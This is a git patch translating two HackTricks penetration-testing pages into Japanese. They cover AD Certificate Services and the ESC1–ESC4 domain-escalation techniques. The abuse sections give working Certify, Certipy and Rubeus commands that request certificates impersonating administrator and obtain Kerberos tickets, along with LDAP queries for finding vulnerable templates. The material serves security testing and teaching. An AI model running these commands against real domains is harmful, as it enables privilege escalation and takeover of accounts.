From 1ae9d52870ef585ad8ae6cd9ef3dfb8622c04d75 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 22:33:16 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/ad-c --- .../ad-certificates/README.md | 138 +++-- .../ad-certificates/domain-escalation.md | 541 +++++++++--------- 2 files changed, 357 insertions(+), 322 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 8d6f701a8..5bf2bd2de 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -1,112 +1,122 @@ -# AD Certificates +# AD 証明書 {{#include ../../../banners/hacktricks-training.md}} -## Introduction +## はじめに -### Components of a Certificate +### 証明書の構成要素 -- **証明書の主題**は、その所有者を示します。 -- **公開鍵**は、証明書を正当な所有者にリンクするために、プライベートキーとペアになります。 -- **有効期間**は、**NotBefore**および**NotAfter**の日付によって定義され、証明書の有効な期間を示します。 -- 一意の**シリアル番号**は、証明書機関（CA）によって提供され、各証明書を識別します。 -- **発行者**は、証明書を発行したCAを指します。 -- **SubjectAlternativeName**は、主題の追加名を許可し、識別の柔軟性を高めます。 -- **基本制約**は、証明書がCA用かエンドエンティティ用かを識別し、使用制限を定義します。 -- **拡張キー使用法（EKU）**は、オブジェクト識別子（OID）を通じて、証明書の特定の目的（コード署名やメール暗号化など）を示します。 -- **署名アルゴリズム**は、証明書に署名する方法を指定します。 -- **署名**は、発行者のプライベートキーで作成され、証明書の真正性を保証します。 +- **Subject** は証明書の所有者を示します。 +- **Public Key** は秘密鍵と対になり、証明書を正当な所有者に結び付けます。 +- **Validity Period**（**NotBefore** と **NotAfter** によって定義）は、証明書の有効期間を示します。 +- 一意の **Serial Number** は Certificate Authority (CA) によって付与され、各証明書を識別します。 +- **Issuer** は証明書を発行した CA を指します。 +- **SubjectAlternativeName** は主体に追加の名前を許可し、識別の柔軟性を高めます。 +- **Basic Constraints** は証明書が CA 向けかエンドエンティティ向けかを識別し、使用制限を定義します。 +- **Extended Key Usages (EKUs)** は、**Object Identifiers (OIDs)** を通じてコード署名やメール暗号化など証明書の特定の用途を示します。 +- **Signature Algorithm** は証明書に署名するための方法を指定します。 +- **Signature** は Issuer の秘密鍵で作成され、証明書の真正性を保証します。 -### Special Considerations +### 特別な考慮事項 -- **Subject Alternative Names (SANs)**は、証明書の適用範囲を複数のアイデンティティに拡張し、複数のドメインを持つサーバーにとって重要です。攻撃者がSAN仕様を操作することによるなりすましリスクを回避するために、安全な発行プロセスが重要です。 +- **Subject Alternative Names (SANs)** は複数の識別子に対して証明書の適用範囲を拡大し、複数ドメインを持つサーバーにとって重要です。発行プロセスを適切に保護しないと、攻撃者が SAN の仕様を操作してなりすましを行うリスクが生じます。 -### Certificate Authorities (CAs) in Active Directory (AD) +### Active Directory (AD) における Certificate Authorities (CAs) -AD CSは、指定されたコンテナを通じてADフォレスト内のCA証明書を認識し、それぞれが独自の役割を果たします： +AD CS は、AD フォレスト内の指定コンテナを通じて CA 証明書を認識し、各コンテナは固有の役割を果たします： -- **Certification Authorities**コンテナは、信頼されたルートCA証明書を保持します。 -- **Enrolment Services**コンテナは、エンタープライズCAとその証明書テンプレートの詳細を示します。 -- **NTAuthCertificates**オブジェクトは、AD認証のために承認されたCA証明書を含みます。 -- **AIA (Authority Information Access)**コンテナは、中間CAおよびクロスCA証明書を使用して証明書チェーンの検証を促進します。 +- **Certification Authorities** コンテナは信頼されたルート CA 証明書を格納します。 +- **Enrolment Services** コンテナは Enterprise CAs とその証明書テンプレートに関する情報を保持します。 +- **NTAuthCertificates** オブジェクトは AD 認証で許可された CA 証明書を含みます。 +- **AIA (Authority Information Access)** コンテナは中間 CA やクロス CA の証明書を用いた証明書チェーン検証を容易にします。 -### Certificate Acquisition: Client Certificate Request Flow +### 証明書取得：クライアントによる証明書要求のフロー -1. リクエストプロセスは、クライアントがエンタープライズCAを見つけることから始まります。 -2. 公開鍵とその他の詳細を含むCSRが作成され、公開-プライベートキーのペアが生成された後に行われます。 -3. CAは、利用可能な証明書テンプレートに対してCSRを評価し、テンプレートの権限に基づいて証明書を発行します。 -4. 承認後、CAはプライベートキーで証明書に署名し、クライアントに返します。 +1. 要求プロセスはクライアントが Enterprise CA を発見することから始まります。 +2. 公開/秘密鍵ペアを生成した後、公開鍵やその他の詳細を含む CSR が作成されます。 +3. CA は利用可能な証明書テンプレートに対して CSR を評価し、テンプレートの権限に基づいて証明書を発行します。 +4. 承認されると、CA は自身の秘密鍵で証明書に署名し、クライアントに返します。 -### Certificate Templates +### 証明書テンプレート -AD内で定義されているこれらのテンプレートは、証明書を発行するための設定と権限を概説し、許可されたEKUや登録または変更権限を含み、証明書サービスへのアクセス管理において重要です。 +AD 内で定義されるこれらのテンプレートは、許可される EKU や登録・変更の権限など、証明書発行に関する設定と権限を定義し、証明書サービスへのアクセス管理において重要です。 -## Certificate Enrollment +## 証明書登録 -証明書の登録プロセスは、管理者が**証明書テンプレートを作成**し、それがエンタープライズ証明書機関（CA）によって**公開**されることから始まります。これにより、クライアントの登録に利用可能なテンプレートが作成され、Active Directoryオブジェクトの`certificatetemplates`フィールドにテンプレート名を追加することで達成されます。 +証明書の登録プロセスは、管理者が **証明書テンプレートを作成** することで開始され、Enterprise Certificate Authority (CA) によって **公開（published）** されます。これによりテンプレートはクライアントの登録に利用可能になり、Active Directory オブジェクトの `certificatetemplates` フィールドにテンプレート名を追加することで行われます。 -クライアントが証明書をリクエストするには、**登録権限**が付与されている必要があります。これらの権限は、証明書テンプレートおよびエンタープライズCA自体のセキュリティ記述子によって定義されます。リクエストが成功するためには、両方の場所で権限が付与される必要があります。 +クライアントが証明書を要求するには、**enrollment rights** が付与されている必要があります。これらの権利は証明書テンプレートおよび Enterprise CA 自身のセキュリティ記述子によって定義されます。要求を成功させるには両方に権限が付与されている必要があります。 -### Template Enrollment Rights +### テンプレートのエンロールメント権限 -これらの権限は、アクセス制御エントリ（ACE）を通じて指定され、次のような権限が詳細に示されます： +これらの権利は Access Control Entries (ACEs) で指定され、次のような権限を含みます： -- **Certificate-Enrollment**および**Certificate-AutoEnrollment**権限は、それぞれ特定のGUIDに関連付けられています。 -- **ExtendedRights**は、すべての拡張権限を許可します。 -- **FullControl/GenericAll**は、テンプレートに対する完全な制御を提供します。 +- **Certificate-Enrollment** および **Certificate-AutoEnrollment** の権利（それぞれ特定の GUID に紐づく）。 +- **ExtendedRights**（全ての拡張権限を許可）。 +- **FullControl/GenericAll**（テンプレートに対する完全な制御）。 -### Enterprise CA Enrollment Rights +### Enterprise CA のエンロールメント権限 -CAの権限は、そのセキュリティ記述子に記載されており、証明書機関管理コンソールを介してアクセスできます。一部の設定では、低権限のユーザーにリモートアクセスを許可することもあり、これはセキュリティ上の懸念となる可能性があります。 +CA の権利はそのセキュリティ記述子に明記されており、Certificate Authority management console からアクセスできます。一部の設定は権限の低いユーザーに遠隔アクセスを許可することがあり、これはセキュリティ上の懸念となります。 -### Additional Issuance Controls +### 追加の発行制御 -特定の制御が適用される場合があります： +特定の制御が適用される場合があります。例えば： -- **マネージャーの承認**：リクエストを保留状態にし、証明書マネージャーによって承認されるまで待機します。 -- **登録エージェントおよび承認された署名**：CSRに必要な署名の数と必要なアプリケーションポリシーOIDを指定します。 +- **Manager Approval**：要求を保留状態にし、証明書マネージャーの承認を待ちます。 +- **Enrolment Agents and Authorized Signatures**：CSR に必要な署名数や、必要な Application Policy OIDs を指定します。 -### Methods to Request Certificates +### 証明書要求の方法 -証明書は次の方法でリクエストできます： +証明書は以下の方法で要求できます： -1. **Windows Client Certificate Enrollment Protocol**（MS-WCCE）、DCOMインターフェースを使用。 -2. **ICertPassage Remote Protocol**（MS-ICPR）、名前付きパイプまたはTCP/IPを介して。 -3. **証明書登録Webインターフェース**、証明書機関Web登録役割がインストールされていること。 -4. **Certificate Enrollment Service**（CES）、証明書登録ポリシー（CEP）サービスと連携。 -5. **Network Device Enrollment Service**（NDES）、ネットワークデバイス用、シンプル証明書登録プロトコル（SCEP）を使用。 +1. Windows Client Certificate Enrollment Protocol (MS-WCCE)（DCOM インターフェースを使用）。 +2. ICertPassage Remote Protocol (MS-ICPR)、named pipes または TCP/IP 経由。 +3. Certificate Authority Web Enrollment ロールがインストールされた証明書登録のウェブインターフェース。 +4. Certificate Enrollment Service (CES) と Certificate Enrollment Policy (CEP) サービスを組み合わせた方法。 +5. ネットワーク機器向けの Network Device Enrollment Service (NDES)、Simple Certificate Enrollment Protocol (SCEP) を使用。 -Windowsユーザーは、GUI（`certmgr.msc`または`certlm.msc`）またはコマンドラインツール（`certreq.exe`またはPowerShellの`Get-Certificate`コマンド）を介しても証明書をリクエストできます。 +Windows ユーザーは GUI（certmgr.msc または certlm.msc）やコマンドラインツール（certreq.exe や PowerShell の Get-Certificate コマンド）を使って証明書を要求することもできます。 ```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` ## 証明書認証 -Active Directory (AD) は、主に **Kerberos** と **Secure Channel (Schannel)** プロトコルを利用して証明書認証をサポートしています。 +Active Directory (AD) は主に **Kerberos** と **Secure Channel (Schannel)** プロトコルを利用して証明書認証をサポートします。 ### Kerberos 認証プロセス -Kerberos 認証プロセスでは、ユーザーの Ticket Granting Ticket (TGT) の要求がユーザーの証明書の **秘密鍵** を使用して署名されます。この要求は、ドメインコントローラーによって証明書の **有効性**、**パス**、および **失効状況** を含むいくつかの検証を受けます。検証には、証明書が信頼できるソースから来ていることの確認や、**NTAUTH 証明書ストア** に発行者が存在することの確認も含まれます。検証が成功すると、TGT が発行されます。AD の **`NTAuthCertificates`** オブジェクトは、次の場所にあります: +Kerberos 認証プロセスでは、ユーザーの Ticket Granting Ticket (TGT) 取得要求はユーザーの証明書の **秘密鍵** で署名されます。この要求はドメインコントローラーによっていくつかの検証を受け、検証項目には証明書の **有効性**、**パス（証明書チェーン）**、および **失効状況** が含まれます。さらに、証明書が信頼できる発行元からのものであることの確認や、発行者が **NTAUTH 証明書ストア** に存在することの確認も行われます。検証が成功すると TGT が発行されます。AD の **`NTAuthCertificates`** オブジェクトは次の場所にあります: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -信頼を確立するために中心的な役割を果たします。 +証明書認証の信頼を確立する上で中心的な役割を果たす。 -### セキュアチャネル (Schannel) 認証 +### Secure Channel (Schannel) 認証 -Schannelは、安全なTLS/SSL接続を促進します。ハンドシェイク中に、クライアントは証明書を提示し、成功裏に検証されるとアクセスが許可されます。証明書をADアカウントにマッピングするには、Kerberosの**S4U2Self**機能や証明書の**Subject Alternative Name (SAN)**など、他の方法が関与する場合があります。 +Schannel は TLS/SSL によるセキュアな接続を促進します。ハンドシェイク中にクライアントが証明書を提示し、それが検証に成功すればアクセスが許可されます。証明書を AD アカウントにマッピングする方法には、Kerberos の **S4U2Self** 機能や証明書の **Subject Alternative Name (SAN)** などが含まれます。 -### AD証明書サービスの列挙 +### AD Certificate Services の列挙 -ADの証明書サービスはLDAPクエリを通じて列挙でき、**Enterprise Certificate Authorities (CAs)**およびその構成に関する情報を明らかにします。これは特別な権限なしに、ドメイン認証されたユーザーによってアクセス可能です。**[Certify](https://github.com/GhostPack/Certify)**や**[Certipy](https://github.com/ly4k/Certipy)**のようなツールは、AD CS環境での列挙と脆弱性評価に使用されます。 +AD の証明書サービスは LDAP クエリで列挙でき、**Enterprise Certificate Authorities (CAs)** やその設定に関する情報が明らかになります。これは特別な権限を必要とせず、ドメイン認証済みの任意のユーザーがアクセス可能です。ツールとしては **[Certify](https://github.com/GhostPack/Certify)** や **[Certipy](https://github.com/ly4k/Certipy)** のようなものが、AD CS 環境での列挙や脆弱性評価に使用されます。 -これらのツールを使用するためのコマンドには次のものが含まれます: +これらのツールを使用するためのコマンドには次のようなものがあります： ```bash -# Enumerate trusted root CA certificates and Enterprise CAs with Certify -Certify.exe cas -# Identify vulnerable certificate templates with Certify -Certify.exe find /vulnerable +# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints +# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks +Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] + +# Identify vulnerable certificate templates and filter for common abuse cases +Certify.exe find +Certify.exe find /vulnerable [/currentuser] +Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) +Certify.exe find /clientauth # templates with client-auth EKU +Certify.exe find /showAllPermissions # include template ACLs in output +Certify.exe find /json /outfile:C:\Temp\adcs.json + +# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery +Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] # Use Certipy for enumeration and identifying vulnerable templates certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 @@ -115,9 +125,11 @@ certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 certutil.exe -TCAInfo certutil -v -dstemplate ``` -## 参考文献 +## 参考資料 - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 0300e1bf5..b0e1c4c7f 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -1,8 +1,9 @@ -# AD CS ドメイン昇格 +# AD CS ドメイン権限昇格 {{#include ../../../banners/hacktricks-training.md}} -**これは投稿の昇格技術セクションの要約です：** + +**これは以下の投稿のエスカレーション手法セクションの要約です：** - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) @@ -14,42 +15,53 @@ ### 誤設定された証明書テンプレート - ESC1 の説明 -- **エンタープライズ CA によって低特権ユーザーに登録権が付与されます。** -- **マネージャーの承認は必要ありません。** -- **承認された担当者の署名は必要ありません。** -- **証明書テンプレートのセキュリティ記述子は過度に許可的であり、低特権ユーザーが登録権を取得できるようにしています。** -- **証明書テンプレートは、認証を促進する EKU を定義するように構成されています：** -- クライアント認証 (OID 1.3.6.1.5.5.7.3.2)、PKINIT クライアント認証 (1.3.6.1.5.2.3.4)、スマートカードログオン (OID 1.3.6.1.4.1.311.20.2.2)、任意の目的 (OID 2.5.29.37.0)、または EKU がない (SubCA) などの拡張キー使用 (EKU) 識別子が含まれています。 -- **リクエスターが証明書署名要求 (CSR) に subjectAltName を含めることができる能力がテンプレートによって許可されています：** -- Active Directory (AD) は、証明書に存在する場合、アイデンティティ検証のために subjectAltName (SAN) を優先します。これは、CSR に SAN を指定することによって、任意のユーザー (例：ドメイン管理者) を偽装するための証明書を要求できることを意味します。リクエスターが SAN を指定できるかどうかは、証明書テンプレートの AD オブジェクト内の `mspki-certificate-name-flag` プロパティによって示されます。このプロパティはビットマスクであり、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` フラグが存在する場合、リクエスターによる SAN の指定が許可されます。 +- **Enterprise CA により低権限ユーザに登録権限が付与されている。** +- **Manager の承認は不要である。** +- **権限を持つ担当者の署名は不要である。** +- **証明書テンプレートのセキュリティ記述子が過度に緩く、低権限ユーザが登録権限を取得できてしまう。** +- **証明書テンプレートが認証を可能にする EKU を定義するように設定されている：** +- Extended Key Usage (EKU) の識別子として、Client Authentication (OID 1.3.6.1.5.5.7.3.2)、PKINIT Client Authentication (1.3.6.1.5.2.3.4)、Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2)、Any Purpose (OID 2.5.29.37.0)、または EKU なし（SubCA）が含まれる。 +- **テンプレートにより、申請者が Certificate Signing Request (CSR) に subjectAltName を含めることが許可されている：** +- Active Directory (AD) は、証明書に subjectAltName (SAN) が含まれている場合、ID 検証において SAN を優先する。つまり、CSR に SAN を指定することで、任意のユーザ（例：ドメイン管理者）を偽装するための証明書を要求できる。申請者が SAN を指定できるかどうかは、証明書テンプレートの AD オブジェクトにある `mspki-certificate-name-flag` プロパティで示される。このプロパティはビットマスクであり、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` フラグが存在すると申請者による SAN の指定が許可される。 > [!CAUTION] -> 概説された構成により、低特権ユーザーが任意の SAN を持つ証明書を要求できるようになり、Kerberos または SChannel を通じて任意のドメインプリンシパルとしての認証が可能になります。 +> 上記構成では低権限ユーザが任意の SAN を含む証明書を要求できるため、Kerberos や SChannel を介して任意のドメイン主体として認証が可能になる。 -この機能は、製品や展開サービスによる HTTPS またはホスト証明書のオンザフライ生成をサポートするため、または理解不足のために有効にされることがあります。 +この機能は、製品やデプロイメントサービスが HTTPS やホスト証明書をオンザフライで生成することを支援するため、あるいは設定理解の不足により有効化されていることがある。 -このオプションを使用して証明書を作成すると警告がトリガーされることが記載されていますが、既存の証明書テンプレート (例えば、`WebServer` テンプレートで `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` が有効) を複製して認証 OID を含めるように変更した場合はそうではありません。 +このオプションで証明書を作成すると警告が発生するが、既存の証明書テンプレート（例：`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` が有効な `WebServer` テンプレート）を複製してから認証用 OID を追加した場合は警告が発生しない点に注意する。 ### 悪用 -**脆弱な証明書テンプレートを見つけるには**、次のコマンドを実行できます： +脆弱な証明書テンプレートを見つけるには、次を実行できます： ```bash Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` -この脆弱性を**悪用して管理者を偽装する**には、次のコマンドを実行できます: +この脆弱性を**悪用して管理者になりすます**には、次のコマンドを実行できます: ```bash -Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +# Impersonate by setting SAN to a target principal (UPN or sAMAccountName) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local + +# Optionally pin the target's SID into the request (post-2022 SID mapping aware) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \ +/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Certipy equivalent +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \ +-template 'ESC1' -upn 'administrator@corp.local' ``` -次に、生成された**証明書を`.pfx`**形式に変換し、再度**Rubeusまたはcertipy**を使用して**認証**します: +その後、生成された **証明書を `.pfx` に** 形式に変換して、**Rubeus または certipy を使用して認証する** のに再度使用できます: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Windowsバイナリ「Certreq.exe」と「Certutil.exe」を使用してPFXを生成できます: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +Windows バイナリ "Certreq.exe" と "Certutil.exe" は PFX を生成するために使用できます: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -ADフォレストの構成スキーマ内の証明書テンプレートの列挙、特に承認や署名を必要とせず、クライアント認証またはスマートカードログオンEKUを持ち、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`フラグが有効なものは、次のLDAPクエリを実行することで行うことができます: +AD Forest の構成スキーマ内の証明書テンプレートの列挙、特に承認や署名を必要とせず、Client Authentication または Smart Card Logon EKU を持ち、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` フラグが有効になっているものは、次の LDAP クエリを実行することで行えます: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` @@ -57,53 +69,53 @@ ADフォレストの構成スキーマ内の証明書テンプレートの列挙 ### 説明 -二つ目の悪用シナリオは最初のもののバリエーションです： +2番目の悪用シナリオは最初のもののバリエーションです: -1. エンタープライズCAによって低特権ユーザーに登録権が付与されます。 -2. マネージャーの承認要件が無効化されます。 -3. 認可された署名の必要性が省略されます。 -4. 証明書テンプレートのセキュリティ記述子が過度に許可的で、低特権ユーザーに証明書登録権を付与します。 -5. **証明書テンプレートはAny Purpose EKUまたはEKUなしとして定義されています。** +1. Enrollment rights are granted to low-privileged users by the Enterprise CA. +2. マネージャー承認の要件が無効化されている。 +3. 承認された署名の必要性が省略されている。 +4. 証明書テンプレートのセキュリティ記述子が過度に許容的で、低権限ユーザーに証明書登録権を付与している。 +5. **The certificate template is defined to include the Any Purpose EKU or no EKU.** -**Any Purpose EKU**は、攻撃者が**任意の目的**（クライアント認証、サーバー認証、コード署名など）で証明書を取得することを許可します。**ESC3に使用される技術**と同じ技術を用いてこのシナリオを悪用することができます。 +**Any Purpose EKU** は、クライアント認証、サーバー認証、コード署名などを含む **あらゆる目的** のために攻撃者が証明書を取得することを許可します。同じ **ESC3で使用される手法** を用いてこのシナリオを悪用することができます。 -**EKUなし**の証明書は、下位CA証明書として機能し、**任意の目的**で悪用される可能性があり、**新しい証明書に署名するためにも使用できます**。したがって、攻撃者は下位CA証明書を利用して新しい証明書に任意のEKUやフィールドを指定することができます。 +**no EKUs** を持つ証明書は下位CA証明書として機能し、**あらゆる目的** に悪用でき、**新しい証明書に署名するためにも使用可能** です。したがって、攻撃者は下位CA証明書を利用して新しい証明書に任意のEKUやフィールドを指定することができます。 -ただし、**ドメイン認証**のために作成された新しい証明書は、下位CAが**`NTAuthCertificates`**オブジェクトによって信頼されていない場合、機能しません。これはデフォルト設定です。それでも、攻撃者は**任意のEKU**と任意の証明書値を持つ**新しい証明書を作成する**ことができます。これらは、広範な目的（例：コード署名、サーバー認証など）で**悪用される可能性**があり、SAML、AD FS、またはIPSecなどのネットワーク内の他のアプリケーションに重大な影響を与える可能性があります。 +ただし、下位CAがデフォルト設定である **`NTAuthCertificates`** オブジェクトによって信頼されていない場合、**ドメイン認証** 用に作成された新しい証明書は機能しません。それでも攻撃者は **任意のEKUを持つ新しい証明書** や任意の証明書値を作成することが可能であり、これらは（例：コード署名、サーバー認証など）幅広い目的で悪用される可能性があり、SAML、AD FS、IPSecなどのネットワーク内の他のアプリケーションに重大な影響を及ぼす可能性があります。 -ADフォレストの構成スキーマ内でこのシナリオに一致するテンプレートを列挙するには、次のLDAPクエリを実行できます： +ADフォレストの構成スキーマ内でこのシナリオに一致するテンプレートを列挙するには、次のLDAPクエリを実行します: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` -## 誤設定された登録エージェントテンプレート - ESC3 +## 誤設定された Enrolment Agent テンプレート - ESC3 ### 説明 -このシナリオは最初と二番目のものに似ていますが、**異なるEKU**（証明書要求エージェント）と**2つの異なるテンプレート**を**悪用**しています（したがって、2セットの要件があります）。 +このシナリオは最初と2番目のケースに似ていますが、異なる EKU（Certificate Request Agent）と2つの異なるテンプレートを**悪用**します（したがって2セットの要件があります）。 -**証明書要求エージェントEKU**（OID 1.3.6.1.4.1.311.20.2.1）は、Microsoftの文書では**登録エージェント**として知られており、ある主体が**他のユーザーの代わりに**証明書に**登録**することを許可します。 +Certificate Request Agent EKU（OID 1.3.6.1.4.1.311.20.2.1）、Microsoft のドキュメントで **Enrollment Agent** と呼ばれるものは、あるプリンシパルが **別のユーザーに代わって** **証明書に登録（enroll）** することを許可します。 -**「登録エージェント」**はそのような**テンプレート**に登録し、結果として得られた**証明書を使用して他のユーザーの代わりにCSRに共同署名**します。その後、**共同署名されたCSR**をCAに**送信**し、「他のユーザーの代わりに登録を許可する**テンプレート**に登録**し、CAは**「他の」ユーザーに属する証明書**で応答します。 +“enrollment agent” はそのようなテンプレートに登録し、得られた証明書を使って別のユーザーに代わって CSR に共同署名（co-sign）します。次にその共署名済み CSR を CA に送り、"enroll on behalf of" を許可するテンプレートに登録し、CA は「別の」ユーザーに属する証明書を返します。 -**要件 1:** +要件 1: -- エンタープライズCAによって低特権ユーザーに登録権が付与されます。 -- マネージャーの承認要件は省略されます。 -- 認可された署名の要件はありません。 -- 証明書テンプレートのセキュリティ記述子は過度に許可的であり、低特権ユーザーに登録権を付与します。 -- 証明書テンプレートには証明書要求エージェントEKUが含まれており、他の主体の代わりに他の証明書テンプレートを要求することを可能にします。 +- Enterprise CA によって低権限ユーザーに enrollment 権限が付与されている。 +- マネージャー承認の要件が省略されている。 +- 署名の許可（authorized signatures）の要件がない。 +- 証明書テンプレートのセキュリティ記述子が過度に寛大で、低権限ユーザーに enrollment 権限を与えている。 +- 証明書テンプレートに Certificate Request Agent EKU が含まれており、他のプリンシパルに代わって他の証明書テンプレートを要求できるようになっている。 -**要件 2:** +要件 2: -- エンタープライズCAは低特権ユーザーに登録権を付与します。 -- マネージャーの承認がバイパスされます。 -- テンプレートのスキーマバージョンは1または2を超え、証明書要求エージェントEKUを必要とするアプリケーションポリシー発行要件を指定します。 -- 証明書テンプレートで定義されたEKUはドメイン認証を許可します。 -- CAに対して登録エージェントの制限は適用されません。 +- Enterprise CA が低権限ユーザーに enrollment 権限を与えている。 +- マネージャー承認がバイパスされている。 +- テンプレートのスキーマバージョンが 1 であるか 2 を超えており、Certificate Request Agent EKU を必要とする Application Policy Issuance Requirement を指定している。 +- 証明書テンプレートで定義された EKU がドメイン認証を許可している。 +- CA 側で enrollment agent に対する制限が適用されていない。 ### 悪用 -このシナリオを悪用するには、[**Certify**](https://github.com/GhostPack/Certify)または[**Certipy**](https://github.com/ly4k/Certipy)を使用できます。 +このシナリオは [**Certify**](https://github.com/GhostPack/Certify) または [**Certipy**](https://github.com/ly4k/Certipy) を使って悪用できます: ```bash # Request an enrollment agent certificate Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent @@ -117,39 +129,47 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -**ユーザー**が**登録エージェント証明書**を**取得**することを許可されている場合、登録**エージェント**が登録を許可されているテンプレート、および登録エージェントが行動できる**アカウント**は、エンタープライズCAによって制約されることがあります。これは、`certsrc.msc` **スナップイン**を開き、**CAを右クリック**し、**プロパティをクリック**し、次に「Enrollment Agents」タブに**移動**することで実現されます。 +The **users** who are allowed to **obtain** an **enrollment agent certificate**, the templates in which enrollment **agents** are permitted to enroll, and the **accounts** on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, and then **navigating** to the “Enrollment Agents” tab. -ただし、CAの**デフォルト**設定は「**登録エージェントを制限しない**」ことに注意が必要です。管理者によって登録エージェントの制限が有効にされ、「登録エージェントを制限する」に設定されると、デフォルトの構成は非常に許可的なままです。これにより、**Everyone**が誰でもすべてのテンプレートに登録するアクセスを許可されます。 +しかしながら、CA の**デフォルト**設定は “**Do not restrict enrollment agents**.” である点に注意してください。管理者が enrollment agents の制限を有効にし “Restrict enrollment agents” に設定しても、デフォルトの構成は依然として極めて許容的です。これは **Everyone** が任意のテンプレートに対して、任意のユーザーとして登録できるアクセスを許可します。 -## 脆弱な証明書テンプレートアクセス制御 - ESC4 +## 脆弱な証明書テンプレートのアクセス制御 - ESC4 ### **説明** -**証明書テンプレート**上の**セキュリティ記述子**は、テンプレートに関して特定の**ADプリンシパル**が持つ**権限**を定義します。 +証明書テンプレート上の **security descriptor** は、そのテンプレートに関して特定の **AD principals** が持つ **permissions** を定義します。 -**攻撃者**が**テンプレート**を**変更**し、**前のセクション**で概説された**悪用可能な誤設定**を**導入**するために必要な**権限**を持っている場合、特権昇格が促進される可能性があります。 +もし **attacker** がテンプレートを **alter** するための必要な **permissions** を持ち、前節で説明した任意の **exploitable misconfigurations** 